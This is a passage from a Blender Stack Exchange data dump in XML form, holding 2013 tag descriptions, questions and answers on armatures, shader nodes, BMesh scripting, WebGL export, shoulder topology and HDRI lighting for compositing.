  <row Id="399" PostTypeId="4" CreationDate="2013-05-27T18:34:36.947" Score="0" Body="An armature is a system of bones used for animating or deforming a mesh. Use this tag for questions pertaining to armatures." OwnerUserId="20" LastEditorUserId="15924" LastEditDate="2020-10-20T12:03:01.240" LastActivityDate="2020-10-20T12:03:01.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="400" PostTypeId="5" CreationDate="2013-05-27T18:35:46.217" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-27T18:35:46.217" LastActivityDate="2013-05-27T18:35:46.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostTypeId="4" CreationDate="2013-05-27T18:35:46.217" Score="0" Body="Questions relating to Blenders node editor. The node editor is used for non-destructive texture and material editing and for post-processing/compositing." OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-06-28T02:31:29.883" LastActivityDate="2013-06-28T02:31:29.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostTypeId="5" CreationDate="2013-05-27T18:37:47.677" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-27T18:37:47.677" LastActivityDate="2013-05-27T18:37:47.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostTypeId="4" CreationDate="2013-05-27T18:37:47.677" Score="0" Body="Rendering is the process of applying shadows, shading and texturing onto 3D meshes. Used for realistic rendering or NPR (non-photorealistic render)." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-27T21:38:41.940" LastActivityDate="2013-05-27T21:38:41.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostTypeId="2" ParentId="386" CreationDate="2013-05-27T22:36:30.800" Score="0" Body="&lt;p&gt;I don't mean to add a redundant answer, but to improve on what Jonathan said, I would suggest selecting all objects with &lt;kbd&gt;A&lt;/kbd&gt;, then pressing &lt;kbd&gt;.&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that sometimes when you select a particular object and then centre the view, it leaves some objects out of sight. If you want to be able to view everything in your scene as if you had pressed &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, you will need to select all the objects.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-05-27T22:36:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostTypeId="2" ParentId="390" CreationDate="2013-05-27T22:50:36.333" Score="5" Body="&lt;p&gt;The method I use is not exactly &amp;quot;expert&amp;quot; and may yield different results. However, it is easy and free, and produces acceptable results for me. What I do, is make a black and white copy of my image texture, then with GIMP's built in filters, I apply the bump map filter.&lt;/p&gt;&#xA;&lt;p&gt;You can find this under:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Map→Bump Map.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can then apply other effects, such as increasing the contrast, to achieve better results. I have used this to generate displacement and normal maps for planets, for instance. It's not necessarily a &amp;quot;professional&amp;quot; method, but it's easy and works well for small scale projects.&lt;/p&gt;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5h4oJ.png&quot; alt=&quot;example1&quot; /&gt;&#xA;This texture I used to generate a normal map on this asteroid:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5mas.png&quot; alt=&quot;Asteroid&quot; /&gt;&lt;br /&gt;&#xA;Please note that it is not as clear here because the asteroid has an &amp;quot;atmosphere&amp;quot; on top. I also used other (procedural) textures for displacement.&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-05-27T22:50:36.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="406" PostTypeId="1" AcceptedAnswerId="514" CreationDate="2013-05-27T23:42:57.853" Score="8" ViewCount="805" Body="&lt;p&gt;I want to do some retouching an a video shot and it would help to be able to use a marker to &quot;paint&quot; a mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By paint I mean how you paint with the grease pencil. But instead of your mouse cursor you use a tracking marker to paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In my shot the actor pretends to spray paint a wall that is already finished (We forgot to shoot an important shot at the beginning). Now I tracked the sprayer and want it to &quot;paint&quot; the color on the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can imagine other use cases for a functionality like this.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-05-28T07:21:24.430" LastActivityDate="2013-05-31T02:30:00.760" Title="Can I let a tracking marker paint a mask?" Tags="&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="408" PostTypeId="1" AcceptedAnswerId="411" CreationDate="2013-05-28T04:15:00.473" Score="28" ViewCount="28736" Body="&lt;p&gt;I would like to create WebGL applications and use Blender as a modelling tool. I don't necessarily need to translate game engine functionality to WebGL but I would like to retain as much of the UV mapping, vertex colors, materials, etc. info as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know I should keep the polygon count low. What are the other things I should keep an eye on? (Such as &lt;code&gt;don't use feature X because you won't be able to export it&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools do I need to learn? (WebGL framework specific plugins, generic tools like OBJ exporter)&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="14" LastEditDate="2013-05-28T04:23:35.573" LastActivityDate="2020-06-21T08:33:43.353" Title="How can I use my Blender models in WebGL" Tags="&lt;export&gt;&lt;webgl&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="409" PostTypeId="1" AcceptedAnswerId="410" CreationDate="2013-05-28T04:33:07.380" Score="9" ViewCount="678" Body="&lt;p&gt;Whenever I hit &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; &lt;em&gt;(align view to selection)&lt;/em&gt;, it doesn't show up in the info panel. Is there an operator for this, so that I can use it in scripting?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="25" LastEditDate="2013-05-28T15:20:54.807" LastActivityDate="2013-05-29T17:39:32.490" Title="Align view to selected operator (numpad .) when scripting?" Tags="&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="410" PostTypeId="2" ParentId="409" CreationDate="2013-05-28T04:38:50.513" Score="10" Body="&lt;p&gt;The operator name is &lt;code&gt;bpy.ops.view3d.view_selected()&lt;/code&gt;. See my &lt;a href=&quot;https://blender.stackexchange.com/questions/84/download-the-manual-from-the-wiki-and-integrate-it-into-the-help-menu/85#85&quot;&gt;answer here for additional information on this&lt;/a&gt; and also how to quickly reach the online manual and the API reference. Here are the accompanying &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.view3d.html#bpy.ops.view3d.view_selected&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; for the operator.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hover over a button and you should see a short description etc.. This&#xA;  can be useful for getting operator names.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can go to the 3d view header and go to &lt;em&gt;View &gt; Align View &gt; View Selected&lt;/em&gt; and check the operator name there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zLTJa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Copy To Clipboard&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While your mouse is over the menu item you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; and the Python command gets copied to the clipboard to save you retyping it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Log Everything&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some operators are excluded from the report window because typically you don't want setting the cursor (for example) to be logged, however this can be overridden by either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Starting blender with the command line argument &lt;code&gt;--debug-wm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Running this in the python console &lt;code&gt;bpy.app.debug_wm = True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then output of all operators executed will be logged in the info space and the console.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-05-29T17:39:32.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="411" PostTypeId="2" ParentId="408" CreationDate="2013-05-28T05:11:44.647" Score="18" Body="&lt;p&gt;The answer is somewhat dependent on what file format the WebGL viewer ingests. And how good the Blender exporter is. But the most common format is probably the ASCII Obj format, for which Blender has a pretty decent exporter for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, things to watch out for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Geometry&lt;/strong&gt;: Avoid Ngons, or at least, triangulate before exporting. The exporter might produce unexpected results. Also, make sure the face normals are all oriented correctly. Blender renders both side of a polygon by default, many other 3D viewers don't. You can recalculate normals with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mesh Modifiers&lt;/strong&gt;: Even though the exporter probably applies the modifiers. It's better to be explicit than implicit. Also, it is a good idea to apply the transforms (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Materials and Textures:&lt;/strong&gt; Avoid the Blender material panel(except basic colors). Use UV-mapped textures. Blender-specific features like procedural textures are not going to migrate properly. Image textures dimensions should be power of 2 square. (&lt;code&gt;1024x1024&lt;/code&gt;, &lt;code&gt;512x512&lt;/code&gt;, etc)&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="12" LastEditDate="2013-05-31T01:47:44.583" LastActivityDate="2013-05-31T01:47:44.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="412" PostTypeId="1" AcceptedAnswerId="453" CreationDate="2013-05-28T09:32:45.440" Score="10" ViewCount="1255" Body="&lt;p&gt;How do I best capture the lighting in a video shot so I can easily insert rendered objects into the scene that are correctly lit?&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2015-11-29T21:00:39.777" Title="How to capture lighting in video shots?" Tags="&lt;light&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="413" PostTypeId="2" ParentId="412" CreationDate="2013-05-28T12:14:12.787" Score="7" Body="&lt;p&gt;The easiest thing to do to get similar lighting in your scene is to use an HDRI environment map (tutorial on how to get it: &lt;a href=&quot;http://www.otake.com.mx/Apuntes/Imagen/EnviromentMaps/&quot;&gt;http://www.otake.com.mx/Apuntes/Imagen/EnviromentMaps/&lt;/a&gt;). Basically, you take a picture pointing in every direction and stitch it together later in GIMP or Photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once your map is set up (and you want more intense lighting) throw in a few light sources where the sources are in the HDRI map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the Mirror Ball approach (a mirror ball is a glossy ball which reflects the scene arount it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a mirror ball map, take the frame with the mirror ball into photoshop or GIMP and crop it as closely to the edges as you can. Then, load the mirror ball into Blender. Add it as an environment map and choose mirror ball from the &quot;type&quot; dropdown. After that, you simply render.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-28T21:43:47.393" LastActivityDate="2013-05-28T21:43:47.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="414" PostTypeId="1" AcceptedAnswerId="416" CreationDate="2013-05-28T12:43:48.180" Score="18" ViewCount="14299" Body="&lt;p&gt;I've puzzled about this for a while, but haven't found an answer I understood. This snippet below does add geometry (3 verts and a face) but it also generates an error, Does going to object mode make the data reference in bm be cleared? if so, how does &lt;code&gt;data.vertices&lt;/code&gt; still get updated?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: BMesh data of type BMesh has been removed&#xA;Error: Python script fail, look in the console for now...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas, this is the cut down script ( run it with a cube in edit mode)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;obj = bpy.context.object&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;&#xA;bm.verts.new((2.0, 2.0, 2.0))&#xA;bm.verts.new((-2.0, 2.0, 2.0))&#xA;bm.verts.new((-2.0, -2.0, 2.0))&#xA;&#xA;set_of_verts = set(bm.verts[i] for i in range(-3,0))&#xA;bm.faces.new(set_of_verts)&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bm.to_mesh(obj.data)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a few scripts that might benefit using the BMesh module for adding geometry, I know how to do it in the pre BMesh way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit, using answer&lt;/strong&gt;: here's how to add tris and quads while staying in edit mode &lt;a href=&quot;https://gist.github.com/zeffii/5668669&quot;&gt;https://gist.github.com/zeffii/5668669&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-05-29T07:57:52.730" LastActivityDate="2016-05-31T02:38:51.803" Title="how to use BMesh to add verts, faces, and edges to existing geometry" Tags="&lt;scripting&gt;&lt;geometry&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="415" PostTypeId="1" AcceptedAnswerId="422" CreationDate="2013-05-28T13:45:06.223" Score="22" ViewCount="10428" Body="&lt;p&gt;Modeling the shoulder joint of humanoid models is often a sticking point for me, due to the many degrees of freedom a shoulder has, and when rigged, my shoulders often pinch badly. What sort of edge loops and placement is best for that complex joint? Or is this more of a rigging/skinning issue than a modeling issue?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="25" LastEditDate="2013-05-29T15:58:40.460" LastActivityDate="2013-05-29T15:58:40.460" Title="What is the ideal topology for a shoulder joint?" Tags="&lt;modeling&gt;&lt;rigging&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="416" PostTypeId="2" ParentId="414" CreationDate="2013-05-28T13:53:31.093" Score="19" Body="&lt;p&gt;The issue with this script is when you exit editmode, the editmesh you were editing becomes invalid (thats good, but not what you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead, just exit editmode and blender will handle converting the modified bmesh into the object mode mesh data.&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;v1 = bm.verts.new((2.0, 2.0, 2.0))&#xA;v2 = bm.verts.new((-2.0, 2.0, 2.0))&#xA;v3 = bm.verts.new((-2.0, -2.0, 2.0))&#xA;&#xA;bm.faces.new((v1, v2, v3))&#xA;&#xA;bmesh.update_edit_mesh(obj.data)&#xA;&#xA;# This is optional, you could also stay in editmode.&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, if you want to stay in editmode, call &lt;code&gt;bmesh.update_edit_mesh(me)&lt;/code&gt; at the end of the script to ensure ngons are re-triangulated for display.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-05-31T02:38:51.803" LastActivityDate="2016-05-31T02:38:51.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="417" PostTypeId="5" CreationDate="2013-05-28T14:34:00.480" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-28T14:34:00.480" LastActivityDate="2013-05-28T14:34:00.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="418" PostTypeId="4" CreationDate="2013-05-28T14:34:00.480" Score="0" Body="Blender's new mesh system that was added in 2.63, with full support for N-sided polygons instead of only triangles and quads. " OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-28T15:37:07.213" LastActivityDate="2013-05-28T15:37:07.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="419" PostTypeId="2" ParentId="412" CreationDate="2013-05-28T15:15:15.813" Score="3" Body="&lt;p&gt;There are two steps to setting up this kind of lighting system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to find a good HDRI environment map. It doesn't need to match your scene exactly, just so long as it gets a good approximation of the overall scene. I recommend that you look for good HDRIs from &lt;a href=&quot;http://www.hdri-hub.com/free-hdri-environments-for-download&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;http://hdrmaps.com/freebies&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, or just Google search for 'HDRI environment maps.' To use one of these images, add an image texture to the world environment (world panel of Properties bar) and load in your image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you need to place in the same lighting sources as in the original video. There are a couple of rules of thumb for figuring out where the lighting sources are. First, look at people's feet (or any other vertical object). You should find a shadow cast for every major light source in the scene. Or, if there are any reflective surfaces, like glass or metal, you might be able to see reflections of the light sources that you want. Once you've identified the light sources in the video, it's just a matter of duplicating them, then tweaking positions and emission intensities of the light sources until you have the effect you want.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-05-28T15:15:15.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="420" PostTypeId="1" AcceptedAnswerId="421" CreationDate="2013-05-28T15:19:15.377" Score="26" ViewCount="12782" Body="&lt;p&gt;What's the difference between Add Shader and Mix Shader nodes with the Cycles rendering engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Mix Shader gives you more control over the material ratio, of course, but are there any important differences between using an Add Shader and a Mix Shader with ratio set to 0.5?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="12" LastEditDate="2013-05-28T18:26:43.947" LastActivityDate="2015-03-04T12:15:05.047" Title="Difference between Add Shader and Mix Shader?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="421" PostTypeId="2" ParentId="420" CreationDate="2013-05-28T15:59:31.347" Score="39" Body="&lt;p&gt;Add Shaders aren't necessarily physically correct. Simply put the values of the two input shaders are added up for every pixel&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value_out = value_1 + value_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to reflect more light than received. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mix two shaders with the Mix Shader Node you get more physically correct values because it calculates a weighted (by the Fac param) average&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value_out = value_1 * Fac + value_2 * (1 - Fac)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you reflect at most as much light as you receive provided both inputs are physically correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in doubt use the Mix Shader.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-05-28T15:59:31.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="422" PostTypeId="2" ParentId="415" CreationDate="2013-05-28T16:50:07.100" Score="23" Body="&lt;p&gt;The key with shoulder topology is to represent the deltoid muscle well and to separate the arm mesh from the body. The exact topology will depend on your subject. Most of the time every model will have slightly different topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a muscular male will need far more dense and defined topology than a slim female.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general rule of thumb with topology is to follow the muscle flow. Here is a front, side,, back, and top view of a fairly typical shoulder topology layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things to notice:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The vertical face loop roughly follows the inside and top edge of the deltoid, on both front and back. &lt;/li&gt;&#xA;&lt;li&gt;The horizontal loop is placed roughly where the deltoid, bicep, and triceps meet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsGNt.png&quot; alt=&quot;Shoulder topology front&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ugmCZ.png&quot; alt=&quot;Shoulder topology side&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wPN7l.png&quot; alt=&quot;Shoulder topology back&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FBL2A.png&quot; alt=&quot;Shoulder topology top angle&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-05-28T16:57:25.320" LastActivityDate="2013-05-28T16:57:25.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="423" PostTypeId="5" CreationDate="2013-05-28T18:30:51.513" Score="0" Body="&lt;p&gt;Shaders are most commonly used to produce lighting and shadow in 3D rendering.&#xA;There are &lt;a href=&quot;http://en.wikipedia.org/wiki/Shader&quot; rel=&quot;nofollow noreferrer&quot;&gt;shaders&lt;/a&gt; everywhere in blender, e.g. for drawing the 3D view, rendering, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/shader_nodes/index.html#shader-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shader nodes&lt;/a&gt; are used in &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/index.html#cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt; to define the way light interacts with geometry when rendered.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T15:23:07.963" LastActivityDate="2020-10-20T15:23:07.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="424" PostTypeId="4" CreationDate="2013-05-28T18:30:51.513" Score="0" Body="A shader is a computer program that is used to do shading, texturing, special effects or post-processing. Shader nodes specifically refer to the nodes used to create shaders for Cycles, but this tag can be used for other shaders as well." OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-20T12:41:02.047" LastActivityDate="2020-10-20T12:41:02.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="425" PostTypeId="2" ParentId="415" CreationDate="2013-05-28T21:34:20.593" Score="2" Body="&lt;p&gt;For a low-poly model I just added two additional &lt;em&gt;edge-loops&lt;/em&gt; at the should and ellbow region. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;edge-loops&lt;/em&gt; should be added around your bones tip or root which also allows better control in &lt;em&gt;weight paint mode&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UCA36.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-05-28T21:34:20.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="426" PostTypeId="1" AcceptedAnswerId="427" CreationDate="2013-05-28T23:25:00.070" Score="4" ViewCount="760" Body="&lt;p&gt;I'm fairly sure to create the shortcut for pausing the cycles preview render starts with &lt;code&gt;wm.context_toggle&lt;/code&gt;, but when I put in &lt;code&gt;cycles.preview_pause&lt;/code&gt;, an error is thrown, saying that context has no object attribute cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="25" LastEditDate="2013-05-29T15:55:56.763" LastActivityDate="2013-05-29T15:55:56.763" Title="Create a shortcut to pause Preview viewport Cycles rendering?" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;python&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="427" PostTypeId="2" ParentId="426" CreationDate="2013-05-28T23:45:06.807" Score="6" Body="&lt;p&gt;If you use &lt;code&gt;scene.cycles.preview_pause&lt;/code&gt; then it'll work. However it seems the GUI doesn't update. So when you resume the render you'll need to move the viewport momentarily before it will start rendering again. I'm not sure why this is, though. &lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-28T23:45:06.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="428" PostTypeId="1" AcceptedAnswerId="458" CreationDate="2013-05-29T00:36:41.297" Score="13" ViewCount="3137" Body="&lt;p&gt;Blender can read Apple ProRes video files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to write to that format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a video workflow with Final Cut Pro X and used Blender for some retouching and compositing and would like to send the clips back to FCP.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="6204" LastEditDate="2015-12-14T00:29:22.113" LastActivityDate="2020-12-17T03:56:34.533" Title="Write Apple ProRes files from Blender?" Tags="&lt;rendering&gt;&lt;export&gt;&lt;workflow&gt;&lt;video&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="429" PostTypeId="2" ParentId="428" CreationDate="2013-05-29T01:07:27.410" Score="4" Body="&lt;p&gt;I am assuming since it's Apple based software, the format has some ties to QuickTime. The closest option you have is to export a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#File_Type&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; from Blender &lt;em&gt;(excluding the default AVI formats)&lt;/em&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;nofollow&quot;&gt;are&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(formats that can be compiled into blender, not available on all systems)&#xA;  &lt;br /&gt; &lt;strong&gt;HDR TIFF EXR MPEG AVICODEC &lt;em&gt;QUICKTIME&lt;/em&gt; CINEON DPX&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Also&lt;/em&gt;&lt;/strong&gt;, Quicktime support &lt;a href=&quot;http://www.blenderdiplom.com/index.php/en/interviews/item/47-interview-nathan-letwory-on-quicktime-in-blender&quot; rel=&quot;nofollow&quot;&gt;isn't available&lt;/a&gt; on Windows or Linux, so these can't read image/video formats supported by Quicktime.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-29T11:48:23.253" LastActivityDate="2013-05-29T11:48:23.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="431" PostTypeId="1" AcceptedAnswerId="432" CreationDate="2013-05-29T18:19:37.143" Score="6" ViewCount="508" Body="&lt;p&gt;The script &lt;a href=&quot;https://gist.github.com/zeffii/5671824/2355fccd794ba7d83d6c4b75e26cebe5d1aae940&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/zeffii/5671824&lt;/a&gt; creates a polysphere, but allows the user to set how spherical it is and how many subdivisions it has and its radius as parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the sphere has doubles along all sides as a result of the way the geometry is created. Doubles are no good for sculpting -- and sculpting is the reason for the polysphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there is a way to automatically run &lt;code&gt;remove_doubles(threshold=1.0e-5)&lt;/code&gt; just once, on the newly created object when the script is finished. (by finished i mean you can no longer adjust parameters)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;:&lt;br&gt;&#xA;I guess my alternative will be to construct the mesh without doubles in the first place, which is going to be a bit of a mind-bender &lt;strong&gt;&lt;em&gt;or&lt;/em&gt;&lt;/strong&gt; delete the mesh on each parameter adjustment and remove doubles too on each adjustment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit2&lt;/strong&gt;&lt;br&gt;&#xA;I reluctantly went for the &lt;code&gt;delete / create / remove doubles&lt;/code&gt; combo, the script does work as desired from the point of view of the user. Script is &lt;a href=&quot;https://gist.github.com/zeffii/5671824/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" 